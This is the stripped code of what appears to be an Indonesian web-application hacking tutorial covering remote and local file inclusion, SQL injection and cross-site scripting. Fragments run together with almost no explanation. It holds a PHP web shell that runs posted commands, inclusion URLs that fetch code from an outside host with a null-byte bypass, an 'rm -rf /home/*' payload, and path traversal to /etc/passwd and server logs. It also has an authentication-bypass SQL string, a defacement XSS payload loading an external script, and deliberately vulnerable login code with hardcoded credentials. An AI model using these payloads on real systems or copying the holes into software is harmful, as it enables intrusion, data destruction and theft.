

http://crayon.gov/labs/tutorials/basic-web-apps-hacking/rfi.php?page=includes/contact.inc<?php if (isset($_POST['cmd'])) {
@system($_POST['cmd']);
}
echo "
<form method='POST'>
<input type='text' name='cmd'>
<input type='submit' name='submit' value='Go!'>
</form>";?>http://crayon.gov/labs/tutorials/basic-web-apps-hacking/rfi.php?page=http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt<?phpif (isset($_GET['page'])) {
include('http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt');
}?>rm -rf /home/*<?php
$page = NULL;
if ( isset ($_GET['page']) ) {
$page = $_GET['page'] . ".inc";
}
if (isset($page)) {
include($page);
}?>http://crayon.gov/labs/tutorials/basic-web-apps-hacking/rfi-little-filter.php?page=includes/contacthttp://crayon.gov/labs/tutorials/basic-web-apps-hacking/rfi-bad-filter.php?page=http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt?%00http://crayon.gov/labs/tutorials/basic-web-apps-hacking/rfi-bad-filter.php?page=http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt?<?php
$page = NULL;
if ( isset ($_GET['page']) ) {
$page = $_GET['page'] . ".inc";
}
if (isset($page)) {
include('http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt?');
// ignoring anything after the NullByte, which is in this case, the .inc}?>http://localhost/labs/tutorials/basic-web-apps-hacking/rfi.php?page=../../../../../../../../../../etc/passwd
http://localhost/labs/tutorials/basic-web-apps-hacking/rfi.php?page=../../../../../../../../../../var/log/apache2/error.log<?php
$host = "localhost";$user = "ditatompel";$pass = "ditacaem";$database = "webhack_example";mysql_connect($host, $user, $pass);mysql_select_db($database);
if ( isset($_POST['submit']) ) {
$username = $_POST['username'];
$password = md5($_POST['password']);
if ( empty($_POST['username']) ) {
echo "Username Empty";
}
else {
$query= "SELECT * FROM user WHERE username = '$username' AND password = '$password' LIMIT 1";
$result = mysql_query($query);
if ($result) {
$result2 = mysql_num_rows($result);
if ( $result2 > 0 ) {
echo "LOGIN SUCCESS, You will be redirect to admin page in blah blah blah";
}
else {
echo "LOGIN FAILED! USERNAME PASSWORD DID NOT MATCH!";
}
}
}
}?><form method="POST">
Username : <input type="text" name="username" />
Password : <input type="password" name="password" />
<input type="submit" name="submit" value="Login" />
</form> SELECT * FROM user WHERE username = 'admin' AND password = '21232f297a57a5a743894a0e4a801fc3' LIMIT 1whatever' or 1=1 -- 'SELECT * FROM user WHERE username = 'whatever' or 1=1 -- '' AND password = 'md5('admin')' LIMIT 1<?php
$host = "localhost";$user = "ditatompel";$pass = "ditacaem";$database = "webhack_example";
function clean($val){
$danger = array("*","/","'","="); // add your self here
$clean = '';
for($i = 0; $i <= strlen($val); $i++){
if(!in_array(substr($val,$i,1),$danger)){
$clean .= substr($val,$i,1);
}
}
for($i = 0; $i < count($danger); $i++){
$clean = str_replace($danger[$i],"",$clean);
}
return $clean;
}
@mysql_connect($host, $user, $pass);
@mysql_select_db($database);
if ( isset($_POST['submit']) ) {
$username = clean($_POST['username']);
$password = md5($_POST['password']);
if ( empty($_POST['username']) ) {
echo "Username Empty";
}
else {
$query= "SELECT * FROM user WHERE username = '$username' AND password = '$password' LIMIT 1";
$result = @mysql_query($query);
if ($result) {
$result2 = @mysql_num_rows($result);
if ( $result2 > 0 ) {
echo "LOGIN SUCCESS, You will be redirect to admin page in blah blah blah";
}
else {
echo "LOGIN FAILED! USERNAME PASSWORD DID NOT MATCH!";
}
}
}
}?><form method="POST">
Username : <input type="text" name="username" />
Password : <input type="password" name="password" />
<input type="submit" name="submit" value="Login" />
</form>
dan celah ini benar-benar masalah besar ketika menjadi permanen XSS.<?php if (isset($_POST['message'])) {
echo "Thank you, your message has been posted!";
echo "<br />";
echo $_POST['message'];
} ?>
<form method="POST">
<textarea name="message"></textarea>
<input type="submit" name="submit" value="Submit">
</form> <style>body { background-color:#000; color:#00FF00; } form { display:none; }</style>
<script>alert('HACKED');</script>
<h1>HACKED BY SOMEONE</h1><iframe name="iframex" id="iframex" src="hidden" style="display:none"></iframe>
<script src="http://example.com/malcode.js"></script><?phpfunction netral($text){
$text = htmlspecialchars($text, ENT_QUOTES);
return $text;
}
if (isset($_POST['message'])) {
echo "Thank you, your message has been posted!";
echo "<br />";
echo netral($_POST['message']);
} ?>
<form method="POST">
<textarea name="message"></textarea>
<input type="submit" name="submit" value="Submit">
</form> 